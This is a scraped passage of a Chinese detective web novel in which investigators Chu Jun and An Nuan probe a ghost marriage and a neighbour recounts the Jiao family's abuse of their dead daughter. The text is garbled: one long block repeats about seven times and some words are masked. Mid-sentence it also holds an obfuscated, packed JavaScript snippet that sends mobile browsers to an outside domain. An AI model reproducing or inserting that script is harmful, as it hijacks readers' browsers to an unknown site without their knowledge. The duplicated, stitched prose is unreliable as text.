这事情真是蹊跷。”楚隽道:“下午,我打算再去见见焦家的邻居,配阴婚这种事情,当时肯定有其他人在。那个给焦雨花做替身的姑娘,他们也应该知道是谁。” 除非对向浩然的杀机是在当时就产生了,并且录下了替身姑娘唱歌的声音,要不然的话,向浩然听见的歌声怎么解释? 只有两种可能。 第一,就是那姑娘在向浩然家楼下唱的。 向浩然的房间在二楼,对着巷子。而他父母的房子在一楼,如果有人在巷子里低声唱歌,只有他能听见,他父母是听不见的。 第二,有人找到了那姑娘,让她唱歌,把唱歌的声音录了下来,然后拿到向浩然窗子边放。 只可惜,当时向浩然喝多了有点迷糊,也没想着在下面找一找。 安暖道:“嗯,这个人,一定和焦家很熟,要不然也不会放替身新娘唱的那首歌。而且,他不是一个人。” 在向浩然楼下放歌,需要有人在原地操作。 向浩然说,他听着声音就下楼了,下楼就直接开车走了,这中间不超过三分钟。 向浩然的车速可是很快的。 就算对方也有车,要在看见向浩然下楼的时候立刻就开车往事发地点开,然后冲到围墙边做好准备,等他靠近,这很紧张。 万一中间出了点故障呢,就来不及。 现场的钉子可以提前打好,但画不能提前挂。 那不是个荒郊野外,是有人来往的,万一有人路过,看见了呢? 就算是画可以提前一些挂上,向浩然也是在看见了灯光之后,才转头的。 打光最便捷的就是用手电筒了,这个一定要有人操作。 随便估计一下,这件事情里,至少有两个人,甚至有可能有三个人。 两人吃完饭,去焦家。 这事情到了如今这一步,也未必就一定和焦家有关系,但是他们现在知道的和这件事情有关的人,也只有焦家。 抽丝剥茧,顺藤摸瓜,如今也只能寄希望于焦家了。 焦家的邻居家,昨天楚隽已经去过一趟了,如今一回生,二回熟,见面打招呼,已经像是熟人一样了。 但是当楚隽提起冥婚的事情时,对方的脸色就有点不太好了。 “同志。”楚隽说:“还是焦家的事情,我还有些问题,想要问一下。” “你说。” 邻居昨天收了些楚隽的礼,十分客气。 “我知道当时焦雨花下葬之前,举办了一场冥婚。我想知道,代替焦雨花举行冥婚的姑娘,是什么人?” 邻居张了张嘴,露出为难的表情来。 “有什么隐情吗?”楚隽道:“你放心说,这件事情,我不会说出去的。” 楚隽身上有种不怒自威的正义,让人看着就觉得安心。 “我,我也不清楚。”邻居说:“这个风俗吧,真是封建迷信,咱们都是不信的。你说,谁家愿意让在的女儿做这个啊,多可怕,多不吉利,就算是假的,也叫人怪害怕的。” “是的,可以理解,但确实有这么个姑娘。”楚隽道:“你们是邻居,难道不认识?” “真不认识。”邻居说:“就能看出是个年纪相仿的姑娘,盖着红盖头,所以我也没看见她的脸。不过听声音听不出来,我确定是我不认识的姑娘,肯定不是这一片的,要是这一片的小姑娘,不可能听不出来。” 竟然不是这一片的人。 这个姑娘的身份,估计只有焦家的几个人知道了,可惜他们现在不在国内,也不知道什么时候才会回来。 楚隽往门外看了看,说:“看来,要让向浩然去报案了。” 报了案,很多事情,就好查了。比如,进焦家去查看一下人际关系。 这事情真是蹊跷。”楚隽道:“下午,我打算再去见见焦家的邻居,配阴婚这种事情,当时肯定有其他人在。那个给焦雨花做替身的姑娘,他们也应该知道是谁。” 除非对向浩然的杀机是在当时就产生了,并且录下了替身姑娘唱歌的声音,要不然的话,向浩然听见的歌声怎么解释? 只有两种可能。 第一,就是那姑娘在向浩然家楼下唱的。 向浩然的房间在二楼,对着巷子。而他父母的房子在一楼,如果有人在巷子里低声唱歌,只有他能听见,他父母是听不见的。 第二,有人找到了那姑娘,让她唱歌,把唱歌的声音录了下来,然后拿到向浩然窗子边放。 只可惜,当时向浩然喝多了有点迷糊,也没想着在下面找一找。 安暖道:“嗯,这个人,一定和焦家很熟,要不然也不会放替身新娘唱的那首歌。而且,他不是一个人。” 在向浩然楼下放歌,需要有人在原地操作。 向浩然说,他听着声音就下楼了,下楼就直接开车走了,这中间不超过三分钟。 向浩然的车速可是很快的。 就算对方也有车,要在看见向浩然下楼的时候立刻就开车往事发地点开,然后冲到围墙边做好准备,等他靠近,这很紧张。 万一中间出了点故障呢,就来不及。 现场的钉子可以提前打好,但画不能提前挂。 那不是个荒郊野外,是有人来往的,万一有人路过,看见了呢? 就算是画可以提前一些挂上,向浩然也是在看见了灯光之后,才转头的。 打光最便捷的就是用手电筒了,这个一定要有人操作。 随便估计一下,这件事情里,至少有两个人,甚至有可能有三个人。 两人吃完饭,去焦家。 这事情到了如今这一步,也未必就一定和焦家有关系,但是他们现在知道的和这件事情有关的人,也只有焦家。 抽丝剥茧,顺藤摸瓜,如今也只能寄希望于焦家了。 焦家的邻居家,昨天楚隽已经去过一趟了,如今一回生,二回熟,见面打招呼,已经像是熟人一样了。 但是当楚隽提起冥婚的事情时,对方的脸色就有点不太好了。 “同志。”楚隽说:“还是焦家的事情,我还有些问题,想要问一下。” “你说。” 邻居昨天收了些楚隽的礼,十分客气。 “我知道当时焦雨花下葬之前,举办了一场冥婚。我想知道,代替焦雨花举行冥婚的姑娘,是什么人?” 邻居张了张嘴,露出为难的表情来。 “有什么隐情吗?”楚隽道:“你放心说,这件事情,我不会说出去的。” 楚隽身上有种不怒自威的正义,让人看着就觉得安心。 “我,我也不清楚。”邻居说:“这个风俗吧,真是封建迷信,咱们都是不信的。你说,谁家愿意让在的女儿做这个啊,多可怕,多不吉利,就算是假的,也叫人怪害怕的。” “是的,可以理解,但确实有这么个姑娘。”楚隽道:“你们是邻居,难道不认识?” “真不认识。”邻居说:“就能看出是个年纪相仿的姑娘,盖着红盖头,所以我也没看见她的脸。不过听声音听不出来,我确定是我不认识的姑娘,肯定不是这一片的,要是这一片的小姑娘,不可能听不出来。” 竟然不是这一片的人。 这个姑娘的身份,估计只有焦家的几个人知道了,可惜他们现在不在国内,也不知道什么时候才会回来。 楚隽往门外看了看,说:“看来,要让向浩然去报案了。” 报了案,很多事情,就好查了。比如,进焦家去查看一下人际关系。 这事情真是蹊跷。”楚隽道:“下午,我打算再去见见焦家的邻居,配阴婚这种事情,当时肯定有其他人在。那个给焦雨花做替身的姑娘,他们也应该知道是谁。” 除非对向浩然的杀机是在当时就产生了,并且录下了替身姑娘唱歌的声音,要不然的话,向浩然听见的歌声怎么解释? 只有两种可能。 第一,就是那姑娘在向浩然家楼下唱的。 向浩然的房间在二楼,对着巷子。而他父母的房子在一楼,如果有人在巷子里低声唱歌,只有他能听见,他父母是听不见的。 第二,有人找到了那姑娘,让她唱歌,把唱歌的声音录了下来,然后拿到向浩然窗子边放。 只可惜,当时向浩然喝多了有点迷糊,也没想着在下面找一找。 安暖道:“嗯,这个人,一定和焦家很熟,要不然也不会放替身新娘唱的那首歌。而且,他不是一个人。” 在向浩然楼下放歌,需要有人在原地操作。 向浩然说,他听着声音就下楼了,下楼就直接开车走了,这中间不超过三分钟。 向浩然的车速可是很快的。 就算对方也有车,要在看见向浩然下楼的时候立刻就开车往事发地点开,然后冲到围墙边做好准备,等他靠近,这很紧张。 万一中间出了点故障呢,就来不及。 现场的钉子可以提前打好,但画不能提前挂。 那不是个荒郊野外,是有人来往的,万一有人路过,看见了呢? 就算是画可以提前一些挂上,向浩然也是在看见了灯光之后,才转头的。 打光最便捷的就是用手电筒了,这个一定要有人操作。 随便估计一下,这件事情里,至少有两个人,甚至有可能有三个人。 两人吃完饭,去焦家。 这事情到了如今这一步,也未必就一定和焦家有关系,但是他们现在知道的和这件事情有关的人,也只有焦家。 抽丝剥茧,顺藤摸瓜,如今也只能寄希望于焦家了。 焦家的邻居家,昨天楚隽已经去过一趟了,如今一回生,二回熟,见面打招呼,已经像是熟人一样了。 但是当楚隽提起冥婚的事情时,对方的脸色就有点不太好了。 “同志。”楚隽说:“还是焦家的事情,我还有些问题,想要问一下。” “你说。” 邻居昨天收了些楚隽的礼,十分客气。 “我知道当时焦雨花下葬之前,举办了一场冥婚。我想知道,代替焦雨花举行冥婚的姑娘,是什么人?” 邻居张了张嘴,露出为难的表情来。 “有什么隐情吗?”楚隽道:“你放心说,这件事情,我不会说出去的。” 楚隽身上有种不怒自威的正义,让人看着就觉得安心。 “我,我也不清楚。”邻居说:“这个风俗吧,真是封建迷信,咱们都是不信的。你说,谁家愿意让在的女儿做这个啊,多可怕,多不吉利,就算是假的,也叫人怪害怕的。” “是的,可以理解,但确实有这么个姑娘。”楚隽道:“你们是邻居,难道不认识?” “真不认识。”邻居说:“就能看出是个年纪相仿的姑娘,盖着红盖头,所以我也没看见她的脸。不过听声音听不出来,我确定是我不认识的姑娘,肯定不是这一片的,要是这一片的小姑娘,不可能听不出来。” 竟然不是这一片的人。 这个姑娘的身份,估计只有焦家的几个人知道了,可惜他们现在不在国内,也不知道什么时候才会回来。 楚隽往门外看了看,说:“看来,要让向浩然去报案了。” 报了案,很多事情,就好查了。比如,进焦家去查看一下人际关系。 这事情真是蹊跷。”楚隽道:“下午,我打算再去见见焦家的邻居,配阴婚这种事情,当时肯定有其他人在。那个给焦雨花做替身的姑娘,他们也应该知道是谁。” 除非对向浩然的杀机是在当时就产生了,并且录下了替身姑娘唱歌的声音,要不然的话,向浩然听见的歌声怎么解释? 只有两种可能。 第一,就是那姑娘在向浩然家楼下唱的。 向浩然的房间在二楼,对着巷子。而他父母的房子在一楼,如果有人在巷子里低声唱歌,只有他能听见,他父母是听不见的。 第二,有人找到了那姑娘,让她唱歌,把唱歌的声音录了下来,然后拿到向浩然窗子边放。 只可惜,当时向浩然喝多了有点迷糊,也没想着在下面找一找。 安暖道:“嗯,这个人,一定和焦家很熟,要不然也不会放替身新娘唱的那首歌。而且,他不是一个人。” 在向浩然楼下放歌,需要有人在原地操作。 向浩然说,他听着声音就下楼了,下楼就直接开车走了,这中间不超过三分钟。 向浩然的车速可是很快的。 就算对方也有车,要在看见向浩然下楼的时候立刻就开车往事发地点开,然后冲到围墙边做好准备,等他靠近,这很紧张。 万一中间出了点故障呢,就来不及。 现场的钉子可以提前打好,但画不能提前挂。 那不是个荒郊野外,是有人来往的,万一有人路过,看见了呢? 就算是画可以提前一些挂上,向浩然也是在看见了灯光之后,才转头的。 打光最便捷的就是用手电筒了,这个一定要有人操作。 随便估计一下,这件事情里,至少有两个人,甚至有可能有三个人。 两人吃完饭,去焦家。 这事情到了如今这一步,也未必就一定和焦家有关系,但是他们现在知道的和这件事情有关的人,也只有焦家。 抽丝剥茧,顺藤摸瓜,如今也只能寄希望于焦家了。 焦家的邻居家,昨天楚隽已经去过一趟了,如今一回生,二回熟,见面打招呼,已经像是熟人一样了。 但是当楚隽提起冥婚的事情时,对方的脸色就有点不太好了。 “同志。”楚隽说:“还是焦家的事情,我还有些问题,想要问一下。” “你说。” 邻居昨天收了些楚隽的礼,十分客气。 “我知道当时焦雨花下葬之前,举办了一场冥婚。我想知道,代替焦雨花举行冥婚的姑娘,是什么人?” 邻居张了张嘴,露出为难的表情来。 “有什么隐情吗?”楚隽道:“你放心说,这件事情,我不会说出去的。” 楚隽身上有种不怒自威的正义,让人看着就觉得安心。 “我,我也不清楚。”邻居说:“这个风俗吧,真是封建迷信,咱们都是不信的。你说,谁家愿意让在的女儿做这个啊,多可怕,多不吉利,就算是假的,也叫人怪害怕的。” “是的,可以理解,但确实有这么个姑娘。”楚隽道:“你们是邻居,难道不认识?” “真不认识。”邻居说:“就能看出是个年纪相仿的姑娘,盖着红盖头,所以我也没看见她的脸。不过听声音听不出来,我确定是我不认识的姑娘,肯定不是这一片的,要是这一片的小姑娘,不可能听不出来。” 竟然不是这一片的人。 这个姑娘的身份,估计只有焦家的几个人知道了,可惜他们现在不在国内,也不知道什么时候才会回来。 楚隽往门外看了看,说:“看来,要让向浩然去报案了。” 报了案,很多事情,就好查了。比如,进焦家去查看一下人际关系。 这事情真是蹊跷。”楚隽道:“下午,我打算再去见见焦家的邻居,配阴婚这种事情,当时肯定有其他人在。那个给焦雨花做替身的姑娘,他们也应该知道是谁。” 除非对向浩然的杀机是在当时就产生了,并且录下了替身姑娘唱歌的声音,要不然的话,向浩然听见的歌声怎么解释? 只有两种可能。 第一 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就算是画可以提前一些挂上,向浩然也是在看见了灯光之后,才转头的。 打光最便捷的就是用手电筒了,这个一定要有人操作。 随便估计一下,这件事情里,至少有两个人,甚至有可能有三个人。 两人吃完饭,去焦家。 这事情到了如今这一步,也未必就一定和焦家有关系,但是他们现在知道的和这件事情有关的人,也只有焦家。 抽丝剥茧,顺藤摸瓜,如今也只能寄希望于焦家了。 焦家的邻居家,昨天楚隽已经去过一趟了,如今一回生,二回熟,见面打招呼,已经像是熟人一样了。 但是当楚隽提起冥婚的事情时,对方的脸色就有点不太好了。 “同志。”楚隽说:“还是焦家的事情,我还有些问题,想要问一下。” “你说。” 邻居昨天收了些楚隽的礼,十分客气。 “我知道当时焦雨花下葬之前,举办了一场冥婚。我想知道,代替焦雨花举行冥婚的姑娘,是什么人?” 邻居张了张嘴,露出为难的表情来。 “有什么隐情吗?”楚隽道:“你放心说,这件事情,我不会说出去的。” 楚隽身上有种不怒自威的正义,让人看着就觉得安心。 “我,我也不清楚。”邻居说:“这个风俗吧,真是封建迷信,咱们都是不信的。你说,谁家愿意让在的女儿做这个啊,多可怕,多不吉利,就算是假的,也叫人怪害怕的。” “是的,可以理解,但确实有这么个姑娘。”楚隽道:“你们是邻居,难道不认识?” “真不认识。”邻居说:“就能看出是个年纪相仿的姑娘,盖着红盖头,所以我也没看见她的脸。不过听声音听不出来,我确定是我不认识的姑娘,肯定不是这一片的,要是这一片的小姑娘,不可能听不出来。” 竟然不是这一片的人。 这个姑娘的身份,估计只有焦家的几个人知道了,可惜他们现在不在国内,也不知道什么时候才会回来。 楚隽往门外看了看,说:“看来,要让向浩然去报案了。” 报了案,很多事情,就好查了。比如,进焦家去查看一下人际关系。 这事情真是蹊跷。”楚隽道:“下午,我打算再去见见焦家的邻居,配阴婚这种事情,当时肯定有其他人在。那个给焦雨花做替身的姑娘,他们也应该知道是谁。” 除非对向浩然的杀机是在当时就产生了,并且录下了替身姑娘唱歌的声音,要不然的话,向浩然听见的歌声怎么解释? 只有两种可能。 第一,就是那姑娘在向浩然家楼下唱的。 向浩然的房间在二楼,对着巷子。而他父母的房子在一楼,如果有人在巷子里低声唱歌,只有他能听见,他父母是听不见的。 第二,有人找到了那姑娘,让她唱歌,把唱歌的声音录了下来,然后拿到向浩然窗子边放。 只可惜,当时向浩然喝多了有点迷糊,也没想着在下面找一找。 安暖道:“嗯,这个人,一定和焦家很熟,要不然也不会放替身新娘唱的那首歌。而且,他不是一个人。” 在向浩然楼下放歌,需要有人在原地操作。 向浩然说,他听着声音就下楼了,下楼就直接开车走了,这中间不超过三分钟。 向浩然的车速可是很快的。 就算对方也有车,要在看见向浩然下楼的时候立刻就开车往事发地点开,然后冲到围墙边做好准备,等他靠近,这很紧张。 万一中间出了点故障呢,就来不及。 现场的钉子可以提前打好,但画不能提前挂。 那不是个荒郊野外,是有人来往的,万一有人路过,看见了呢? 就算是画可以提前一些挂上,向浩然也是在看见了灯光之后,才转头的。 打光最便捷的就是用手电筒了,这个一定要有人操作。 随便估计一下,这件事情里,至少有两个人,甚至有可能有三个人。 两人吃完饭,去焦家。 这事情到了如今这一步,也未必就一定和焦家有关系,但是他们现在知道的和这件事情有关的人,也只有焦家。 抽丝剥茧,顺藤摸瓜,如今也只能寄希望于焦家了。 焦家的邻居家,昨天楚隽已经去过一趟了,如今一回生,二回熟,见面打招呼,已经像是熟人一样了。 但是当楚隽提起冥婚的事情时,对方的脸色就有点不太好了。 “同志。”楚隽说:“还是焦家的事情,我还有些问题,想要问一下。” “你说。” 邻居昨天收了些楚隽的礼,十分客气。 “我知道当时焦雨花下葬之前,举办了一场冥婚。我想知道,代替焦雨花举行冥婚的姑娘,是什么人?” 邻居张了张嘴,露出为难的表情来。 “有什么隐情吗?”楚隽道:“你放心说,这件事情,我不会说出去的。” 楚隽身上有种不怒自威的正义,让人看着就觉得安心。 “我,我也不清楚。”邻居说:“这个风俗吧,真是封建迷信,咱们都是不信的。你说,谁家愿意让在的女儿做这个啊,多可怕,多不吉利,就算是假的,也叫人怪害怕的。” “是的,可以理解,但确实有这么个姑娘。”楚隽道:“你们是邻居,难道不认识?” “真不认识。”邻居说:“就能看出是个年纪相仿的姑娘,盖着红盖头,所以我也没看见她的脸。不过听声音听不出来,我确定是我不认识的姑娘,肯定不是这一片的,要是这一片的小姑娘,不可能听不出来。” 竟然不是这一片的人。 这个姑娘的身份,估计只有焦家的几个人知道了,可惜他们现在不在国内,也不知道什么时候才会回来。 楚隽往门外看了看,说:“看来,要让向浩然去报案了。” 报了案,很多事情,就好查了。比如,进焦家去查看一下人际关系。 这事情真是蹊跷。”楚隽道:“下午,我打算再去见见焦家的邻居,配阴婚这种事情,当时肯定有其他人在。那个给焦雨花做替身的姑娘,他们也应该知道是谁。” 除非对向浩然的杀机是在当时就产生了,并且录下了替身姑娘唱歌的声音,要不然的话,向浩然听见的歌声怎么解释? 只有两种可能。 第一,就是那姑娘在向浩然家楼下唱的。 向浩然的房间在二楼,对着巷子。而他父母的房子在一楼,如果有人在巷子里低声唱歌,只有他能听见,他父母是听不见的。 第二,有人找到了那姑娘,让她唱歌,把唱歌的声音录了下来,然后拿到向浩然窗子边放。 只可惜,当时向浩然喝多了有点迷糊,也没想着在下面找一找。 安暖道:“嗯,这个人,一定和焦家很熟,要不然也不会放替身新娘唱的那首歌。而且,他不是一个人。” 在向浩然楼下放歌,需要有人在原地操作。 向浩然说,他听着声音就下楼了,下楼就直接开车走了,这中间不超过三分钟。 向浩然的车速可是很快的。 就算对方也有车,要在看见向浩然下楼的时候立刻就开车往事发地点开,然后冲到围墙边做好准备,等他靠近,这很紧张。 万一中间出了点故障呢,就来不及。 现场的钉子可以提前打好,但画不能提前挂。 那不是个荒郊野外,是有人来往的,万一有人路过,看见了呢? 就算是画可以提前一些挂上,向浩然也是在看见了灯光之后,才转头的。 打光最便捷的就是用手电筒了,这个一定要有人操作。 随便估计一下,这件事情里,至少有两个人,甚至有可能有三个人。 两人吃完饭,去焦家。 这事情到了如今这一步,也未必就一定和焦家有关系,但是他们现在知道的和这件事情有关的人,也只有焦家。 抽丝剥茧,顺藤摸瓜,如今也只能寄希望于焦家了。 焦家的邻居家,昨天楚隽已经去过一趟了,如今一回生,二回熟,见面打招呼,已经像是熟人一样了。 但是当楚隽提起冥婚的事情时,对方的脸色就有点不太好了。 “同志。”楚隽说:“还是焦家的事情,我还有些问题,想要问一下。” “你说。” 邻居昨天收了些楚隽的礼,十分客气。 “我知道当时焦雨花下葬之前,举办了一场冥婚。我想知道,代替焦雨花举行冥婚的姑娘,是什么人?” 邻居张了张嘴,露出为难的表情来。 “有什么隐情吗?”楚隽道:“你放心说,这件事情,我不会说出去的。” 楚隽身上有种不怒自威的正义,让人看着就觉得安心。 “我,我也不清楚。”邻居说:“这个风俗吧,真是封建迷信,咱们都是不信的。你说,谁家愿意让在的女儿做这个啊,多可怕,多不吉利,就算是假的,也叫人怪害怕的。” “是的,可以理解,但确实有这么个姑娘。”楚隽道:“你们是邻居,难道不认识?” “真不认识。”邻居说:“就能看出是个年纪相仿的姑娘,盖着红盖头,所以我也没看见她的脸。不过听声音听不出来,我确定是我不认识的姑娘,肯定不是这一片的,要是这一片的小姑娘,不可能听不出来。” 竟然不是这一片的人。 这个姑娘的身份,估计只有焦家的几个人知道了,可惜他们现在不在国内,也不知道什么时候才会回来。 楚隽往门外看了看,说:“看来,要让向浩然去报案了。” 报了案,很多事情,就好查了。比如,进焦家去查看一下人际关系。 第309章 死亡既消失 楚隽去找了个电话,给向浩然父亲打电话。 这事情现在已经不能瞒了,而且重点不是三年前的车祸,那没什么好保安的,已经是一个了结的案子。 现在的重点是,有人要杀向浩然。 向浩然父亲这几天的心情简直像是坐了**机一样。 上上下下,忽高忽低,一会儿在高山,一会儿在深谷。 儿子要结婚了,儿子要**,儿子救活了,儿子以前撞死过人…… 也幸亏他是个见过世面的,才没当场犯了心脏病。 难为楚隽在电话里,也能又快又准确地把事情说清楚了,重点安抚向爸爸。 “伯父,你去市局报警,把现在的事情说清楚就行。”楚隽道:“你放心,当**情我已经问清楚了,浩然没什么事情,你们家只是损失了一些钱财罢了。” 二十万,这个钱估计是追不回来了。 别说这个钱给得不清楚,也未必有个证据,就看焦家这两年的做派,钱估计花得差不多了,剩不下多少。 就是这种要法属于敲诈勒索,告他打官司最后能掰扯清楚,估计也拿不回多少钱。靠他们家自己赚钱还账,这也不现实,一辈子也赚不回三瓜两枣的。 好在向爸爸虽然心疼这二十万,但这钱对他家来说不至于伤筋动骨,和唯一的儿子比起来,就更不算什么了。 “破财消灾,破财消灾。”向爸爸连声说:“只要人没事就好。” 商量好之后,向浩然父亲就去了市局。 楚隽给江笑愚打了电话,向浩然父亲报警说的情况还没有楚隽说得清楚,不过是要走一个流程罢了,有些事情就好操作了。 挂了电话,楚隽说:“走,进屋。” “这就能进屋了?”安暖有些意外:“不用等搜查令吗?” “不用,可以后面补。”楚隽开始撬锁:“我有这个权限,可以自行判断是否需要进屋搜查。” 安暖点头,真不错。 很快门就开了,两人进了屋。 这屋子外面和寻常人家自己建的房子没有差别,但里面就不一样了。 柜子上也上着锁,抽屉里也上了锁,打开之后,里面满满当当都是东西。 什么麦乳精,肉罐头,橘子汽水儿,白糖红糖,都是这个年代的好东西,寻常人家,逢年过节孩子生日才会买点解馋。焦家果然有钱,平时家里也会囤上许多。 “这家人靠着自己的女儿,真是一步登天,过上了寻常人想不到的好日子啊。 ” 焦家有一间堂屋,两个卧房。 在堂屋看了一圈之后,安暖和楚隽各进了一间屋子检查。 安暖看的,是老两口的屋子。 这屋子倒是和寻常人家没有什么区别,只不过屋子里的日用品质量都不错。打开抽屉,里面还有一些擦脸油,面霜什么的。 焦雨花过世已经三年,这东西都是新的,显然不是小姑娘用的,是焦母用的。 一个农村种田的老妇,一辈子可能也不会花钱去买面霜这种非必须的用品,焦母这么精致的,可是万中无一。 一个抽屉一个抽屉地检查熬过去,衣柜床底都看了。 过了一会儿,两人回到了堂屋。 坐下对账。 安暖摇了摇头,楚隽也摇了摇头。 看样子是什么发现都没有。 就是一个有钱的普通人家罢了。 但什么都没有,也不正常。 安暖说:“不对啊,这焦雨花,**三年吧。” “是。” “三年说短不短,说长也不长。”安暖道:“可他们家里,怎么一点儿跟焦雨花相关的东西都没有呢?” “确实很奇怪。” 寻常人家,若是家里人过世,一定会留下一些痕迹。 就像是安暖家里,因为习俗,过世之人的被褥衣物都要烧掉,可家中还有照片,有父亲留下的书信,有父亲的酒杯,有很多曾经留下的痕迹。 家里人,怎么会这么容易被忘记呢。 这不是三十年,只是三年。 就算不是很疼爱的女儿,也不至于才离开三年,就像是没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944382|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来过一样吧。 一张照片,一个和女孩子有关的东西都没有。 “没道理啊。”安暖用手托着下巴:“就算是其他东西都毁掉了,也该剩下一些必须的证件吧?” 出生证,死亡证,一个人生活了十三年的环境,怎么能一点痕迹都没有留下。 就算是怕睹物思人,徒惹伤心,也只是把东西都收起来,不至于全扔了吧? 两人商量了一下,又去了隔壁。 隔壁的婶子看见楚隽和安暖又来了,第一反应是赶紧关门,可你是迟了一步。 “婶子,我还有点事情想要问一下。”楚隽笑道:“不知道方便不方便。” “我,我还要做晚饭呢。”邻居婶子尴尬笑道:“我大孙子就要回来了。” “今天别做饭了。”楚隽掏出十块钱塞给婶子:“我请你们去国营饭店下馆子。” 大婶还能说什么呢,只能答应了。 “楚同志,你都来好了好几回了,我知道的都说了啊,你还想问什么?” “还是问焦家的事情。”楚隽关了门,开门见山:“还是想问问,焦雨花的事情。” 邻居大婶无奈:“都问了两回了……楚同志,我真的什么都说了。” “是,但是还想问问。”楚隽道:“婶子,我想知道焦雨花在家里的情况,详细的,衣食住行,和家里的关系,父母哥哥对她如何?” 这些问题,之前已经问过一轮了。 得到的回答是,就那样。 楚隽一直便觉得,这就是一个普通的人家,普通的关系。没有其他什么想法。 但如今看来,未必了。 之所以邻居婶子什么都不说,这也很正常。正常人是不愿意多事八卦,说隔壁邻居的坏话的。 何况焦雨花已经**三年了,谁愿意八卦这个呢。 八卦来八卦去的,若是传了出去,让焦家人知道了,那多尴尬。以后低头不见抬头见,还怎么见面呢? 而且,自从焦家有钱之后,谁还没得过他们家的好处? 婶子的脸色,就有点不好了。 第310章 午夜回来过 邻居婶子含含糊糊的:“就那样……普通人家,过的不都是差不多的日子吗?” “婶子。”楚隽缓缓道:“我知道的,可不是这样。” 婶子脸色一变。 “你,你知道什么?” 楚隽道:“我听说,焦家待这个女儿,十分不好。” 婶子脸上的表情一时没缓过来。 “婶子。”楚隽道:“这事情可不是普通的事情,我是刑警队的,若是你知道什么,可是却不说,等这事情查清楚以后,你可是要负责任的。” 动之以情,晓之以理。 婶子缓缓点头:“是,我知道。” “所以你一定要有什么说什么,可不能含糊。焦春雨是**,可是老天爷,看着呢。” 楚隽指了指天上。 可惜现在是在房间里,没有老天爷,只有天花板。 婶子的脸色,稍微有点难看了。 这个年纪的人,还是怕鬼的,过不了良心这一关。 沉默了一会儿,婶子的脸色略缓和了一些,终于,叹了口气。 “他们家,待雨花不好。” 安暖拿出了笔记本和笔,准备记录。 “具体呢?怎么不好,你们都知道些什么事情?” 婶子给两人都倒了水。 “哎!其实也不是什么稀奇的事情,就是日常生活的那些事。”婶子说:“焦家两个孩子,一男一女。老大是儿子,本来他们不想要第二个孩子的,可医生说肚子里是女儿,就留了下来。想着等女儿长大了嫁人,收一笔彩礼,正好可以给儿子娶媳妇。” 这不是哪一家的想法,而是很多人家的想法。 有儿有女的家庭,父母想要一碗水端平,非常困难。 一般的家庭,对儿子的资源倾斜是一件正常的事情,只要不坑女儿去填补儿子的空缺,就已经很不容易了。 婶子说:“开始就抱着这样的思想,你们想想,他们家能对孩子好吗?” 安暖听着,只觉得十分庆幸。 自己这身体,虽然只有一个父亲,可是独生女,父亲对她也很宠爱。母亲早亡,只有一半的家庭关爱,可这爱是没有被任何人分走的。 所以安暖的性格也不错,开朗自信,要不然的话,也不会一个人来京市退婚,风风火火的。 就是有些被宠着的单纯,才会上当。 万事开头难。 凡事说第一句的时候,可能很艰难,要顾虑很多。 但是第一句 说完之后,就像是闸门开了。 婶子滔滔不绝地说起了过去的事情。 两个相挨着的邻居之间,是没有什么可以隐瞒的。 从小,焦家对这个女孩儿就不好。 从小就让她做家务,做饭,洗衣服,等等。有肉,有好吃的,都是紧着哥哥吃,一年到头也吃不上一口鸡蛋。 到了年纪,虽然也让她去上了学,可是这个想法更简单。 有文化的女孩子,好嫁,好要彩礼。 婶子说:“作孽啊,都是自己生的孩子,就算是不喜欢,也不能这样对她啊。雨花在家里,他们是想打就打,想骂就骂。骂得很难听,我是骂不出那样的话。” 不但打,还动手,焦雨花经常被打得伤痕累累。 开始的时候,都不避着人。 焦雨花身上常被打得青一块紫一块的,前胸后背,胳膊腿上都是伤。 但这也不好管,村里谁家不打孩子啊?最多就是实在看不惯了,说上两句。 焦家只要一句,我打自家孩子,谁也管不着,就能堵上悠悠众口。 后来,焦雨花长大了一些,十来岁的姑娘,出落地也是亭亭玉立了。焦家也收敛了一些,不打脸了。 可是对她依然动辄打骂,没有一句好话。 安暖写着写着,心情沉重。 这就难怪了,在焦雨花被害之后,焦家立刻和向浩然达成了和解。只要钱,根本就没有其他的想法。 什么报仇,什么意难平,没有,都没有,只有钱。 婶子一口气说了十分钟,说得那叫一个义愤填膺,意犹未尽。 一直等婶子停下来喝口水,楚隽才道:“既然如此,那焦雨花死的时候,家里人应该一点儿都不难过吧?” “那有什么可难过的。”婶子冷笑了一声:“与其说难过,不如说害怕。” “怕……什么?” “还能怕什么?怕孩子午夜梦回,回来找他们算账呗。” 安暖心里涌上一个奇怪的念头。 焦雨花被向浩然撞死的那个晚上,就是半夜突然跑出来的,这么看来,十有**是和家里闹了矛盾,这才慌不择路跑了出来。 而且,她当时是什么身体状况也不好说。 向浩然当时是喝了点酒又着急,不太清醒,要不然的话,这事情应该不会这样。 只可惜三年过去了,焦雨花的尸体也早就成了骸骨,现在就算是对尸体有什么疑问,要开棺检查也很麻烦。 婶子叨叨叨 叨地说了许多。 “这是做了亏心事,害怕鬼敲门啊。”楚隽说:“估计给她配阴婚,也是这个原因。” 活人可以拿捏,**不好拿捏。 焦家的人,在焦雨花活着的时候对她不好,**之后,害怕自己遭报应,所以才想要各种安抚。 安暖突然道:“那,她回来找过吗?” 婶子的脸突然变了。 安暖和楚隽都惊悚了。 看婶子这意思,还真回来过? 这怎么可能? “真回来找过?”楚隽也好奇起来:“什么时候?怎么回来的?怎么找过?” “嗯……这个我也说不准。”婶子说:“警察同志,我就是知道什么说什么,你们听听就行。可不能说我宣传封建迷信思想啊。” “不会不会。”楚隽道:“当然不会,你尽管说。” 婶子点了点头。 “就在前年,嗯,雨花出事的第二年夏天,突然,他们家养的鸡都**。院子里的狗,也都**,还有,当时他们家还养了两头小猪仔,也**。” 鸡和狗也就罢了,猪,那可是值钱的东西。 安暖道:“**的?” “不知道呀。”婶子说:“我们都觉得,是不是他们家得罪了什么人,有人想报复,都让他们赶紧报**。可是他们家就是不愿意,说什么也不愿意。” 叨地说了许多。 “这是做了亏心事,害怕鬼敲门啊。”楚隽说:“估计给她配阴婚,也是这个原因。” 